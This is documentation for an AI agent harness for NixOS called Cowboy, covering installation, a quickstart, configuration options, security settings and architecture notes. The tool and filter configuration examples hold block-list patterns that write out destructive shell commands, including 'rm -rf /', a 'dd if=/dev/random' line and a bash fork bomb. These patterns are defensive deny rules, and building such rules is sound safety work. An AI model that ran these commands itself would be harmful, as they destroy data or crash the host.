Cowboy: Autonomous Agent Harness for NixOS
<!-- Simple valid SVG -->
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 200" style="width: 100%; height: 100%;">
<defs>
<linearGradient id="hatGradient" x1="0" y1="0" x2="0" y2="1">
<stop offset="0%" stop-color="#8B4513"/>
<stop offset="100%" stop-color="#654321"/>
</linearGradient>
<linearGradient id="bandGradient" x1="0" y1="0" x2="1" y2="0">
<stop offset="0%" stop-color="#B8860B"/>
<stop offset="100%" stop-color="#DAA520"/>
</linearGradient>
</defs>
<!-- Hat shadow -->
<ellipse cx="150" cy="190" rx="120" ry="15" fill="rgba(0,0,0,0.1)"/>
<!-- Hat brim -->
<ellipse cx="150" cy="143" rx="138" ry="25" fill="url(#hatGradient)" stroke="#654321" stroke-width="1.5"/>
<!-- Hat crown -->
<path d="M85,143 Q85,100 95,78 L100,68 Q120,42 150,35 Q180,42 200,68 L205,78 Q215,100 215,143"
fill="#A0522D" stroke="#654321" stroke-width="1.5"/>
<!-- Hat band -->
<path d="M88,118 Q88,108 150,102 Q212,108 212,118 Q212,126 150,120 Q88,126 88,118"
fill="url(#bandGradient)" stroke="#8B6914" stroke-width="0.8"/>
<!-- Star -->
<polygon points="150,106 152,109 155,109 153,111 154,114 150,112 146,114 147,111 145,109 148,109"
fill="#FFD700" stroke="#B8860B" stroke-width="0.5"/>
</svg>
</div>
<div id="hatMessage" style="font-family: Georgia, serif; font-size: 1.8rem; color: #8B4513; margin-top: 1rem; font-weight: bold;">
Yeehaw! π€
</div>
<div style="font-style: italic; color: #A0522D; margin-top: 0.5rem;">
Saddle up for autonomous AI adventures
</div>
Cowboy is a production-ready AI agent harness that transforms natural language requests into safe, auditable system operations. Built on Zellij and WebAssembly, it provides a secure, memory-aware execution environment for autonomous AI agents on NixOS systems.
What is Cowboy?
Cowboy bridges the gap between large language models and practical system automation. Unlike traditional CLI tools or API clients, Cowboy provides a complete execution environment where AI agents can:
- Execute tools safely within configured security boundaries
- Maintain persistent memory across sessions and conversations
- Orchestrate sub-agents for parallel task execution
- Integrate natively with NixOS, home-manager, and system configuration
Think of Cowboy as the "operating system" for AI agentsβproviding the runtime, security model, and tooling that autonomous agents need to interact with your systems effectively.
Target Audience
π¨βπ» Developers
Automate development workflows with AI assistanceβfrom code review to deployment pipelines. Cowboy agents can read, write, search, and execute code while maintaining security boundaries.
π§ System Administrators
Manage NixOS infrastructure declaratively with AI-powered automation. Deploy configurations, monitor systems, and troubleshoot issues with human-in-the-loop approval.
π¬ Researchers
Experiment with autonomous agent systems in a controlled, observable environment. Cowboy provides complete audit trails and reproducible execution contexts.
π’ Teams
Implement AI-assisted workflows with proper governance. Cowboy's approval system and audit logging ensure compliance while enabling productivity gains.
Key Features
π Security-First Architecture
Every tool call passes through configurable security filters. Network namespaces isolate agents, while a credential-injecting proxy ensures API keys are never exposed to the agent directly.
π§ Persistent Memory System
Agents learn from past interactions and build institutional knowledge. The memory backend supports session persistence, context retrieval, and long-term knowledge storage.
β‘ Real-Time Execution
Tools run in your actual environment, not simulated sandboxes. Cowboy executes commands directly on your system while maintaining strict security boundaries.
π Sub-Agent Orchestration
Parallel task execution with delegated authority. Cowboy can spawn multiple agent instances that work together on complex tasks while maintaining coordinated security policies.
π§ NixOS Integration
Native support for Nix flakes, home-manager, and declarative system configuration. Cowboy agents understand Nix-specific operations and can manipulate configurations safely.
π Complete Audit Trail
Every action is logged with approval states and execution context. Full observability into agent behavior for compliance and debugging.
Architecture Overview
Cowboy follows a modular, layered architecture:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Zellij Session β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β βββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Cowboy Plugin (WASM) β β
β β βββββββββββ ββββββββββββ βββββββββββββββββββ β β
β β β UI β β Agent β β Tool Executor β β β
β β β /TUI β β Loop β β (RunCommands) β β β
β β βββββββββββ ββββββ¬ββββββ ββββββββββ¬βββββββββ β β
β β β β β β
β β βββββββββββ ββββββΌββββββ ββββββββββΌβββββββββ β β
β β βProvider β β Context β β Filter Pipeline β β β
β β βTraits β β Manager β β (Compiled) β β β
β β β(Claude/ β β(Session/ β ββββββββββββββββββββ β β
β β β GPT) β β Compact) β β β
β β βββββββββββ ββββββββββββ β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
ββββββββΌβββββββ
β Proxy Layer β (Credential injection,
β + Network β method gating, topology
β Namespace β isolation)
ββββββββ¬βββββββ
β
ββββββββΌβββββββ
β LLM API β
β(Claude/GPT) β
βββββββββββββββ
Core Components
- WASM Plugin Runtime - Executes in Zellij as a WebAssembly plugin, providing the agent runtime environment
- Security Filters - Compiled Rust middleware that cannot be modified at runtime
- Provider Abstraction - Type-safe interface for different LLM providers (Claude, OpenAI, local models)
- Memory Backend - Persistent storage for session data and long-term knowledge
- Bridge Services - External platform integration (Discord, Email) via Redis Streams
- NixOS Modules - Declarative configuration for system integration
Design Principles
- No /tmp/ -- Full observability through persistent storage
- Nix-native -- All configuration via NixOS/home-manager modules
- Space is cheap -- Log everything, compress later
- Tee-style I/O -- Never block on disk operations
- Compiled security -- Filters are Rust, not runtime-modifiable
- Topology-based isolation -- Network namespace + proxy, not iptables rules
Getting Started
Ready to try Cowboy? Get up and running in minutes:
# Install via pip
pip install get-cowboy
# Start your first agent session
cowboy --model anthropic:claude-opus-4-6
For NixOS users, Cowboy provides full system integration:
# In your NixOS configuration:
imports = [ inputs.cowboy.nixosModules.default ];
services.agent = {
enable = true;
provider = "anthropic";
model = "claude-opus-4-6";
};
Next Steps
- Installation - Set up Cowboy on your system
- Quickstart - Your first agent session in 5 minutes
- Configuration - Advanced setup and customization
- Architecture - Deep dive into Cowboy's design
- Security Model - Understanding the security boundaries
Join the Community
Cowboy is built for developers, sysadmins, and researchers who want to harness the power of AI agents safely and effectively. Whether you're automating your development workflow, managing NixOS infrastructure, or experimenting with autonomous systems, Cowboy provides the foundation you need.
View on GitHub | Documentation | Discord Community
Installation
Cowboy is an AI agent harness built on Zellij and WebAssembly, providing secure, reliable tooling for autonomous AI agents. This guide covers all installation methods from simple to advanced.
Quick Start
If you just want to get started quickly:
Nix users:
nix profile install github:dmadisetti/cowboy
cowboy --version
Python users:
pip install get-cowboy
cowboy --version
For detailed installation instructions, continue reading below.
Prerequisites
Before installing Cowboy, ensure you have the following:
Required Prerequisites
- Nix (for Nix-based installation) or NixOS system
- Git for fetching source code and flakes
- Zellij terminal multiplexer (required for Cowboy to function)
- Python 3.12+ (for pip installation method)
Optional Prerequisites
- API keys for AI providers (Anthropic, OpenAI, etc.)
- Home Manager (for user-level Nix configuration)
- Docker/Podman (for container deployment)
Installing Zellij
Zellij is essential for Cowboy to function. Install it via your preferred method:
# Nix users
nix-env -iA nixpkgs.zellij
# Cargo users
cargo install zellij
# macOS users
brew install zellij
Verify Zellij is installed:
zellij --version
Installation Methods
Choose the installation method that best fits your environment:
Method 1: Nix Flake (Recommended for Nix Users)
The Nix flake installation provides the most integrated experience with NixOS systems, including system-level service management and security features.
Option A: Direct Flake Installation
For quick evaluation or testing:
# Install globally to your user profile
nix profile install github:dmadisetti/cowboy
# Or run temporarily without installation
nix run github:dmadisetti/cowboy -- --help
Option B: Flake Input in Your Configuration
For permanent integration with your NixOS or Home Manager configuration:
# flake.nix
{
inputs = {
nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable";
cowboy.url = "github:dmadisetti/cowboy";
};
outputs = { self, nixpkgs, cowboy }:
let
system = "x86_64-linux";
pkgs = nixpkgs.legacyPackages.${system};
in {
nixosConfigurations.your-host = nixpkgs.lib.nixosSystem {
inherit system;
modules = [
./configuration.nix
cowboy.nixosModules.default
];
};
};
}
Option C: System-Level Service (NixOS)
Enable Cowboy as a system service with full NixOS integration:
# configuration.nix
{ config, pkgs, ... }:
{
imports = [ inputs.cowboy.nixosModules.default ];
services.cowboy = {
enable = true;
provider = "anthropic";
model = "claude-opus-4-6";
# Additional configuration...
};
}
This provides:
- Automatic startup with system boot
- Systemd service management
- Network namespace isolation
- Heartbeat monitoring
- Secure credential storage
Method 2: Python Package (Development & Evaluation)
Ideal for development, testing, or systems without Nix.
Option A: PyPI Installation
# Install from PyPI
pip install get-cowboy
# Verify installation
cowboy --version
Option B: Development Installation
For contributing to Cowboy or using the latest development version:
# Clone the repository
git clone https://github.com/dmadisetti/cowboy.git
cd cowboy
# Install in editable mode
pip install -e .
# Or use uv (recommended)
uv pip install -e .
Option C: Using uv Package Manager
# Install uv if you don't have it
curl -LsSf https://astral.sh/uv/install.sh | sh
# Install cowboy
uv pip install get-cowboy
# Or run directly without installation
uvx --from get-cowboy cowboy --help
Method 3: Home Manager Module
For user-level installation on NixOS or any Nix system using Home Manager.
# home.nix
{ config, pkgs, inputs, ... }:
{
imports = [ inputs.cowboy.homeModules.agent ];
programs.cowboy = {
enable = true;
provider = "anthropic";
model = "claude-opus-4-6";
# Configuration options...
};
}
Benefits of Home Manager installation:
- User-specific configuration
- No root privileges required
- Integrated with your user environment
- Automatic shell completion
Method 4: Container Deployment
For isolated deployment or containerized environments:
# Build the container image
nix build .#container
# Run with Docker
docker load < result
docker run -it cowboy:latest
# Or with Podman
podman load < result
podman run -it cowboy:latest
The container includes:
- Zellij terminal multiplexer
- Python runtime
- Cowboy CLI
- Essential system utilities (bash, coreutils, git, curl)
Verification Steps
After installation, verify that Cowboy is working correctly:
Basic Verification
# Check installation version
cowboy --version
# View available commands
cowboy --help
# Test the CLI entry point
python -m cowboy --help # For Python installation
Functionality Test
Run a simple agent session to verify everything works:
# Start an interactive session (requires API key)
cowboy --model anthropic:claude-opus-4-6
# Or test with a specific task
cowboy --model anthropic:claude-opus-4-6 --task "List files in current directory"
Nix-Specific Verification
For Nix installations, verify flake integration:
# Check if cowboy is in your profile
nix profile list | grep cowboy
# Test flake evaluation
nix eval github:dmadisetti/cowboy#packages.x86_64-linux.default
# Run a quick test
nix run github:dmadisetti/cowboy -- --version
Troubleshooting Common Issues
Zellij Not Found
# Ensure Zellij is installed and in PATH
which zellij
zellij --version
# Add to PATH if needed
export PATH="$HOME/.cargo/bin:$PATH"
Python Package Import Errors
# Check Python version
python --version # Should be 3.12+
# Reinstall if needed
pip install --force-reinstall get-cowboy
Nix Flake Evaluation Errors
# Update flake inputs
nix flake update
# Check flake structure
nix flake check
Configuration After Installation
Once Cowboy is installed, you may want to configure it:
Setting API Keys
# Create configuration directory
mkdir -p ~/.config/cowboy
# Set API keys in environment or config file
export ANTHROPIC_API_KEY="your-key-here"
# Or add to ~/.config/cowboy/config.yaml
First Time Setup
# Start interactive configuration
cowboy --configure
# Or manually create config
cowboy --init-config
See Configuration for detailed setup options.
Uninstallation
Removing Nix Installation
# Remove from Nix profile
nix profile remove cowboy
# Or if using flake input, remove from configuration
# and run:
nix-collect-garbage -d
Removing Python Installation
# PyPI installation
pip uninstall get-cowboy
# Development installation
pip uninstall -e .
Removing Home Manager Installation
# Remove from home.nix and run:
home-manager switch
Next Steps
Once installed and verified:
- Quickstart: Quickstart Guide - Your first agent session
- Configuration: Configuration - Advanced setup options
- Architecture: Architecture Overview - Understand how Cowboy works
- Guides: Guides - Specific use cases and workflows
Additional Resources
Support
If you encounter issues during installation:
- Check the troubleshooting section above
- Review the GitHub issues
- Join the community discussions
- For Nix-specific issues, check NixOS Discourse
Next: Quickstart Guide β Learn how to use Cowboy for your first agent session.
Quickstart: Zero to First Agent in 5 Minutes
Cowboy is an AI agent harness that lets you run autonomous AI agents directly in your terminal. This guide will get you from zero to your first agent session in under 5 minutes.
π Quick Start (2 Minutes)
Step 1: Start Your First Agent Session
# Basic session with Claude Opus
cowboy --model anthropic:claude-opus-4-6
# Or specify a task directly
cowboy --model anthropic:claude-opus-4-6 --task "Analyze this directory structure"
Step 2: Interact with Your Agent
Once the session starts, you'll see a prompt like this:
π€ Agent: I'm ready to help. What would you like me to do?
Just type naturally - the agent will understand and use the right tools:
π€ You: What files are in the current directory?
The agent will automatically use the ls tool and show you the results.
π οΈ Available Tools
Cowboy provides these built-in tools for interacting with your system:
File Operations
read- Read file contents or fetch URLswrite- Create or overwrite filesfind- Find files by name patternls- List directory contents
Search & Analysis
search- Search file contents recursively with grepweb-search- Search the web for real-time information
System Operations
bash- Execute shell commands (with security controls)reload_plugin- Reload the Zellij plugin after updates
π‘ Practical Examples
File Management
"Read the README.md file"
"Search for TODO comments in the codebase"
"Create a new configuration file at ./config.json"
"List all Python files in the project"
Development Tasks
"Run tests in the current project"
"Check for linting issues in the src/ directory"
"Generate documentation for the API"
"Find all files containing 'import React'"
System Analysis
"Check disk usage and report any issues"
"List running processes"
"Check network connectivity"
"Analyze the directory structure"
π― Common Interactions
Reading Files
π€ You: Read the package.json file
π€ Agent: I'll read the package.json file for you.
[Tool: read] Executing: read path=package.json
[Tool: read] Output:
{
"name": "my-project",
"version": "1.0.0",
...
}
Searching Codebase
π€ You: Search for all function definitions in Rust files
π€ Agent: I'll search for function definitions in .rs files.
[Tool: search] Executing: search pattern="fn " path=. flags="-w"
[Tool: search] Output:
src/main.rs:42:fn main() {
src/lib.rs:10:fn helper_function() {
...
}
File Operations
π€ You: Create a new file with a simple hello world program
π€ Agent: I'll create a new Python file with a hello world program.
[Tool: write] Executing: write path=hello.py content="print('Hello, World!')"
[Tool: write] Output: File written successfully
π§ Session Management
Save and Resume Sessions
# Save current session state
cowboy --save-session my-project-session
# Resume a previous session
cowboy --load-session my-project-session --model anthropic:claude-opus-4-6
Stop Running Sessions
# Stop the current session
cowboy --stop
# Stop a specific session
cowboy --session my-session --stop
βοΈ Configuration Basics
API Keys
Set these environment variables for full functionality:
export ANTHROPIC_API_KEY="sk-ant-..."
export EXA_API_KEY="..." # For web search
Model Options
# Anthropic Claude models
cowboy --model anthropic:claude-opus-4-6
cowboy --model anthropic:claude-sonnet-4-0
# OpenAI models
cowboy --model openai:gpt-4.1
# OpenRouter models
cowboy --model openrouter:anthropic/claude-3-opus
π‘οΈ Security Features
Cowboy includes built-in security controls:
- Tool Approval: Sensitive operations require confirmation
- Execution Limits: Timeouts prevent runaway processes
- Audit Logging: All actions are logged for review
- Sandboxed Execution: Tools run in controlled environments
π Next Steps
Once you've completed your first session, explore these advanced features:
- Configuration - Customize tools, security, and memory settings
- Sub-Agents - Run multiple agents in parallel
- Memory System - Enable persistent knowledge storage
- Security Model - Understand the security architecture
π¨ Troubleshooting
"No API keys found"
Set your API keys as environment variables:
export ANTHROPIC_API_KEY="sk-ant-..."
"Zellij not found"
Install Zellij first:
nix profile install nixpkgs#zellij
Session won't start
Check if another session is running:
cowboy --stop
cowboy --model anthropic:claude-opus-4-6
Ready to go deeper? Continue to the Configuration guide to customize Cowboy for your workflow.
Configuration
Cowboy provides flexible configuration through multiple methods to suit different deployment scenarios, from local development to production NixOS systems.
Configuration Methods Overview
| Method | Use Case | Priority | Security Level |
|---|---|---|---|
| CLI Arguments | Quick testing, one-off commands | Highest | Moderate |
| Environment Variables | Secrets, dynamic values | Medium | High |
| Config File | Local development, persistent settings | Medium | Low |
| NixOS/Home Manager | Production, declarative systems | Lowest | Highest |
1. Configuration File
Location
- System-wide:
/etc/cowboy/config.toml - User-specific:
~/.config/cowboy/config.toml - Development:
./cowboy.toml
Example Configuration
# ~/.config/cowboy/config.toml
# Primary model configuration
provider = "anthropic"
model = "claude-opus-4-6"
# Secondary models for specialized tasks
summary_model = "openai:gpt-4.1"
compact_model = "openai:gpt-4.1"
subagent_model = "openrouter:xiaomi/mimo-v2-flash"
# Enable features
memory_enabled = true
chrome = false # Show Zellij UI chrome
# Tool configuration
[tools]
bash_enabled = true
bash_timeout = 120
web_search_enabled = false
read_enabled = true
write_enabled = true
# Security settings
[security]
require_approval = ["write", "bash::rm", "bash::mv"]
max_tool_calls_per_session = 100
execution_timeout = 3600
# API keys (use environment variables in production)
[api_keys]
anthropic = "${ANTHROPIC_API_KEY}"
openai = "${OPENAI_API_KEY}"
exa = "${EXA_API_KEY}"
openrouter = "${OPENROUTER_API_KEY}"
# Memory configuration
[memory]
backend = "zk" # or "qmd" for hybrid search
database_path = "~/.local/share/cowboy/memory.db"
max_entries = 10000
prune_after_days = 30
# Workspace configuration
[workspace]
directory = "~/workspace"
context_file = "context.md"
2. Environment Variables
Environment variables provide a secure way to configure Cowboy, especially for secrets.
Basic Configuration
# Model selection
export COWBOY_PROVIDER="anthropic"
export COWBOY_MODEL="claude-opus-4-6"
# Secondary models
export COWBOY_SUMMARY_MODEL="openai:gpt-4.1"
export COWBOY_COMPACT_MODEL="openai:gpt-4.1"
export COWBOY_SUBAGENT_MODEL="openrouter:xiaomi/mimo-v2-flash"
# Feature flags
export COWBOY_MEMORY_ENABLED="true"
export COWBOY_CHROME="false"
API Keys
# Anthropic (Claude)
export ANTHROPIC_API_KEY="sk-ant-..."
# OpenAI
export OPENAI_API_KEY="sk-proj-..."
# Exa (Web search)
export EXA_API_KEY="exa-..."
# OpenRouter
export OPENROUTER_API_KEY="sk-or-..."
Security Settings
# Tools requiring approval
export COWBOY_REQUIRE_APPROVAL="write,bash::rm,bash::mv"
# Execution limits
export COWBOY_MAX_TOOL_CALLS="100"
export COWBOY_EXECUTION_TIMEOUT="3600"
Memory Configuration
# Memory backend
export COWBOY_MEMORY_BACKEND="zk" # or "qmd"
# Database path
export COWBOY_MEMORY_DB_PATH="/home/user/.local/share/cowboy/memory.db"
# Memory limits
export COWBOY_MEMORY_MAX_ENTRIES="10000"
export COWBOY_MEMORY_PRUNE_DAYS="30"
3. Command Line Arguments
CLI arguments provide the highest priority configuration, perfect for testing and one-off commands.
Basic Usage
# Specify model directly
cowboy --model anthropic:claude-opus-4-6
# With a task
cowboy --model openai:gpt-4.1 --task "Review the codebase for security issues"
# Web server mode
cowboy --web --port 8080 --model anthropic:claude-opus-4-6
# Stop running session
cowboy --stop --session my-session
Advanced Options
# Multiple model specifications
cowboy \
--model anthropic:claude-opus-4-6 \
--summary-model openai:gpt-4.1 \
--compact-model openai:gpt-4.1
# Debug and logging
cowboy --debug debug --model anthropic:claude-opus-4-6
# Custom WASM binary
cowboy --wasm /path/to/custom-harness.wasm --model anthropic:claude-opus-4-6
# Chrome UI (show Zellij panes)
cowboy --chrome --model anthropic:claude-opus-4-6
4. NixOS Module Configuration
For system-wide deployment on NixOS, use the declarative NixOS module.
Basic System Configuration
# configuration.nix
{ config, pkgs, inputs, ... }:
{
imports = [ inputs.cowboy.nixosModules.default ];
services.cowboy = {
enable = true;
agents = {
agent = {
enable = true;
user = "cowboy";
uid = 1338;
homeDirectory = "/home/cowboy";
# Model configuration
model = "anthropic:claude-opus-4-6";
summaryModel = "openai:gpt-4.1";
compactModel = "openai:gpt-4.1";
# Memory backend
memoryBackend = "zk";
# Prompts
prompts = {
system = ''
You are Cowboy, an AI coding assistant. You follow these rules:
1. Always use tools to accomplish tasks
2. Never give step-by-step instructions for manual execution
3. Iterate on failure with different approaches
'';
};
};
};
};
}
With Secrets Management (agenix)
# configuration.nix
{ config, pkgs, inputs, ... }:
{
imports = [
inputs.cowboy.nixosModules.default
inputs.agenix.nixosModules.default
];
# agenix secrets
age.secrets = {
anthropic-key = {
file = ./secrets/anthropic.age;
owner = "cowboy";
group = "cowboy";
};
openai-key = {
file = ./secrets/openai.age;
owner = "cowboy";
group = "cowboy";
};
};
services.cowboy = {
enable = true;
agents.agent = {
enable = true;
model = "anthropic:claude-opus-4-6";
environment = {
ANTHROPIC_API_KEY = config.age.secrets.anthropic-key.path;
OPENAI_API_KEY = config.age.secrets.openai-key.path;
};
};
};
}
With Security Sandbox (Network Namespace)
# configuration.nix
{ config, pkgs, inputs, ... }:
{
imports = [ inputs.cowboy.nixosModules.default ];
services.cowboy = {
enable = true;
# Enable security proxy
secretsProxy.enable = true;
agents.agent = {
enable = true;
model = "anthropic:claude-opus-4-6";
# Network namespace for isolation
namespace = "cowboy-agent";
environment = {
ANTHROPIC_API_KEY = "/run/agenix/anthropic-key";
};
};
# API key mappings for proxy
secretsProxy.domainMappings = {
"api.anthropic.com" = {
secretPath = "/run/agenix/anthropic-key";
headerName = "x-api-key";
};
};
};
}
5. Home Manager Configuration
For user-level installation without root access.
Basic Home Manager
# home.nix
{ config, pkgs, inputs, ... }:
{
imports = [ inputs.cowboy.homeManagerModules.default ];
programs.cowboy = {
enable = true;
settings = {
provider = "anthropic";
model = "claude-opus-4-6";
memory_enabled = true;
tools = {
bash_enabled = true;
web_search_enabled = true;
};
};
environment = {
ANTHROPIC_API_KEY = "$ANTHROPIC_API_KEY";
EXA_API_KEY = "$EXA_API_KEY";
};
};
}
Advanced Home Manager with Multiple Agents
# home.nix
{ config, pkgs, inputs, ... }:
{
imports = [ inputs.cowboy.homeManagerModules.default ];
programs.cowboy = {
enable = true;
agents = {
coding = {
model = "anthropic:claude-opus-4-6";
memory_backend = "qmd"; # Hybrid search
};
research = {
model = "openrouter:xiaomi/mimo-v2-flash";
memory_backend = "zk"; # Keyword search
};
};
};
}
6. Tool Configuration
Enabling/Disabling Tools
# config.toml
[tools]
bash_enabled = true
bash_timeout = 120
web_search_enabled = true
web_search_num_results = 10
read_enabled = true
write_enabled = true
search_enabled = true
find_enabled = true
Tool-Specific Settings
[tools.bash]
enabled = true
timeout = 120
allowed_commands = ["ls", "pwd", "cat", "grep", "find"]
blocked_patterns = ["rm -rf", "dd if=/dev/random", ":(){:|:&};:"]
[tools.write]
enabled = true
allowed_paths = [
"/home/user/projects/",
"/tmp/",
"*.md",
"*.rs",
"*.toml"
]
[tools.web_search]
enabled = true
num_results = 10
provider = "exa"
Custom Tool Filters
[security.filters]
# Block specific command patterns
bash_block_patterns = [
"rm -rf /",
"dd if=/dev/random",
":(){:|:&};:" # Fork bomb
]
# Allow only specific directories
write_allowed_paths = [
"/home/user/projects/",
"/tmp/",
"*.md", # Only markdown files
]
# File extension restrictions
read_allowed_extensions = [".md", ".txt", ".rs", ".toml", ".nix"]
7. Memory Configuration
Backend Selection
# config.toml
[memory]
# Options: "zk" (Zettelkasten), "qmd" (Hybrid)
backend = "zk"
# Zettelkasten configuration
[memory.zk]
database_path = "~/.local/share/cowboy/memory.db"
max_entries = 10000
prune_after_days = 30
# Search settings
search_enabled = true
search_threshold = 0.7
QMD (Hybrid) Backend
[memory]
backend = "qmd"
[memory.qmd]
database_path = "~/.local/share/cowboy/memory.db"
vector_model = "all-MiniLM-L6-v2"
bm25_weight = 0.4
vector_weight = 0.6
reranking_enabled = true
Environment Variables for Memory
# Memory backend
export COWBOY_MEMORY_BACKEND="zk"
# Database configuration
export COWBOY_MEMORY_DB_PATH="/home/user/.local/share/cowboy/memory.db"
export COWBOY_MEMORY_MAX_ENTRIES="10000"
export COWBOY_MEMORY_PRUNE_DAYS="30"
# Search settings
export COWBOY_MEMORY_SEARCH_THRESHOLD="0.7"
8. Security Configuration
Approval Workflow
# config.toml
[security]
# Tools requiring manual approval
require_approval = [
"write",
"bash::rm",
"bash::mv",
"bash::sudo",
"web_search"
]
# Execution limits
max_tool_calls_per_session = 100
execution_timeout = 3600 # 1 hour
Network Isolation (NixOS)
# configuration.nix
services.cowboy = {
enable = true;
# Enable network namespace isolation
secretsProxy.enable = true;
agents.agent = {
enable = true;
namespace = "cowboy-agent";
# API key mappings for proxy injection
environment = {
ANTHROPIC_API_KEY = "/run/agenix/anthropic-key";
};
};
# Proxy configuration
secretsProxy.domainMappings = {
"api.anthropic.com" = {
secretPath = "/run/agenix/anthropic-key";
headerName = "x-api-key";
};
};
};
Sandbox Configuration
# config.toml
[security.sandbox]
enabled = true
network_isolation = true
file_system_restrictions = true
max_memory_mb = 1024
max_cpu_percent = 50
9. Production Deployment Recommendations
1. Use NixOS Modules
Always use the NixOS module for production deployments:
services.cowboy.enable = true;
2. Secure Secrets Management
- Use agenix, sops, or similar for secrets
- Never store secrets in configuration files
- Use environment variable references or secret paths
age.secrets.anthropic-key.file = ./secrets/anthropic.age;
3. Enable Security Features
services.cowboy = {
secretsProxy.enable = true;
agents.agent.namespace = "cowboy-agent";
};
4. Configure Resource Limits
[security]
max_tool_calls_per_session = 100
execution_timeout = 3600
5. Set Up Monitoring
# Monitor agent heartbeat
systemd.user.services.cowboy-heartbeat = {
enable = true;
serviceConfig = {
Type = "oneshot";
ExecStart = "${pkgs.coreutils}/bin/touch /run/user/%U/cowboy-heartbeat";
};
};
6. Use Declarative Configuration
# Everything in Nix configuration
services.cowboy.agents.agent = {
enable = true;
model = "anthropic:claude-opus-4-6";
memoryBackend = "zk";
# ... all other settings
};
10. Configuration Validation
Validate Configuration File
# Test configuration file syntax
cowboy --config test.toml --validate
# Dry run to see effective configuration
cowboy --config production.toml --dry-run
# Show current configuration
cowboy --show-config
Check NixOS Configuration
# Build and test NixOS configuration
nixos-rebuild dry-activate
# Check configuration syntax
nix-instantiate --eval -E 'import ./configuration.nix'
Environment Variable Testing
# Test with specific environment
export COWBOY_MODEL="anthropic:claude-opus-4-6"
cowboy --model openai:gpt-4.1 # CLI overrides env var
11. Priority and Resolution
Configuration is resolved in this order (highest to lowest priority):
- CLI Arguments (
--model,--debug, etc.) - Environment Variables (
COWBOY_*) - Configuration File (
config.toml) - NixOS/Home Manager (declarative)
- Hardcoded Defaults (
anthropic:claude-opus-4-6)
Example Resolution
# CLI argument wins
cowboy --model openai:gpt-4.1
# Environment variable overrides config file
export COWBOY_MODEL="anthropic:claude-opus-4-6"
# config.toml has: model = "openai:gpt-4.1"
# Result: Uses anthropic:claude-opus-4-6 from env var
12. Common Configuration Scenarios
Development Environment
# ~/.config/cowboy/config.toml
provider = "anthropic"
model = "claude-opus-4-6"
memory_enabled = true
[tools]
bash_enabled = true
web_search_enabled = true
[security]
require_approval = ["write", "bash::rm"]
max_tool_calls_per_session = 50
Production Server
# NixOS configuration
services.cowboy.agents.agent = {
enable = true;
model = "anthropic:claude-opus-4-6";
memoryBackend = "zk";
prompts.system = ''
You are Cowboy, operating in production mode.
Always use approval workflows for sensitive operations.
'';
};
Research Agent
# config.toml
provider = "openrouter"
model = "xiaomi/mimo-v2-flash"
memory_backend = "qmd" # Hybrid search for research
[tools]
web_search_enabled = true
web_search_num_results = 20
Development Agent
# config.toml
provider = "openai"
model = "gpt-4.1"
[tools]
bash_enabled = true
bash_timeout = 300
[security]
require_approval = ["bash::sudo", "write::/etc"]
Next Steps
- Quickstart: Get started with your first agent session
- Architecture: Learn about the security model
- Guides: Advanced memory system usage
- Sub-agents: Configure parallel task execution
title: Cowboy Design tags: [index, overview, architecture] created: 2026-02-16 updated: 2026-02-24
Cowboy Design
Design documentation for cowboy, a Nix-native AI agent platform built as a Zellij WASM plugin.
Two-Library Architecture
The system is split into two publishable libraries:
- cowboy -- the platform: Zellij WASM plugin (runtime),
agent-bridgePython framework,agent-proxy(credential-injecting proxy), NixOS modules, home-manager config - agent-pkgs -- swappable bridge services (discord-service, email-service) that connect external platforms to cowboy via the bridge API
The agent name is configurable via cfg.name (default: "agent"). This flows through all service names, paths, and systemd units. A broker (the human operator, e.g. dylan) gets a launcher command installed in their home-manager config.
Architecture Overview
+-----------------------------------------------------------------+
| Zellij Session |
+-----------------------------------------------------------------+
| +-----------------------------------------------------------+ |
| | Cowboy Plugin (WASM) | |
| | +-------------+ +-------------+ +-----------------+ | |
| | | UI/TUI | | Agent Loop | | Tool Executor | | |
| | | (Render) | | (Core) | | (RunCommands) | | |
| | +-------------+ +------+------+ +--------+--------+ | |
| | | | | |
| | +-------------+ +----v-----+ +------v------+ | |
| | | Provider | | Context | | Filter | | |
| | | Traits | | Manager | | Pipeline | | |
| | |(Claude/GPT) | |(Session/ | | (Compiled) | | |
| | | | | Compact) | +-------------+ | |
| | +------+------+ +----------+ | |
| | | | |
| | +-----v-----------------------+ | |
| | | web_request() [WebAccess] | | |
| | | (native HTTP in WASM) | | |
| | +-----------------------------+ | |
| +-----------------------------------------------------------+ |
+-----------------------------------------------------------------+
|
+------v------+
| Proxy Layer | (agent-proxy, host namespace)
| Injects API | (credential injection, method gating)
| credentials |
+------+------+
|
+------v------+
| LLM API |
|(Claude/GPT) |
+-------------+
Pub/Sub Layer (agent-bridge + agent-pkgs)
External Platforms Bridge Services (broker namespace) Cowboy (agent namespace)
Discord ------> discord-ingest ---> Redis:discord:inbox ---> plugin polls
Email <------ email-outbox <--- Redis:email:outbox <--- plugin writes
|
agent-bridge (shared Python lib)
approval protocol via Redis hashes
Design Principles
- No /tmp/ -- Full observability through persistent storage
- Nix-native -- All configuration via NixOS/home-manager modules
- Space is cheap -- Log everything, compress later
- Tee-style I/O -- Never block on disk operations
- Compiled security -- Filters are Rust, not runtime-modifiable
- Topology-based isolation -- Network namespace + proxy, not iptables rules
Core Components (Implemented)
[[API Integration]]
Native HTTP via Zellij web_request() with provider abstraction (Claude, OpenAI, local LLM). Includes retry logic with exponential backoff and tool use parsing.
Status: Provider trait (LlmProvider) and ClaudeProvider implemented in pkgs/agent-harness/src/provider.rs. Wiring to main loop in progress (WP11).
[[Pub/Sub]]
Generalized message source abstraction. The harness polls external sources (Discord, email) via Redis Streams. MessageSource trait generates shell commands (WASI-compatible), SourceManager orchestrates polling, acknowledgment, and reply routing.
Status: Fully implemented. types.rs defines InboundMessage, SourceConfig, MessageSource trait. manager.rs implements SourceManager. redis.rs implements RedisStreamsSource.
[[Security]]
Three independent layers: network namespace (topology), credential-injecting proxy (method + auth), outbox approval gates (send policy). Agent never sees real API keys.
Status: nix/agents/network.nix creates namespace + veth pair. nix/agents/secrets-proxy.nix configures proxy with domain mappings and method-based egress. nix/agents/bridges.nix generates broker-owned systemd services.
[[Filters]]
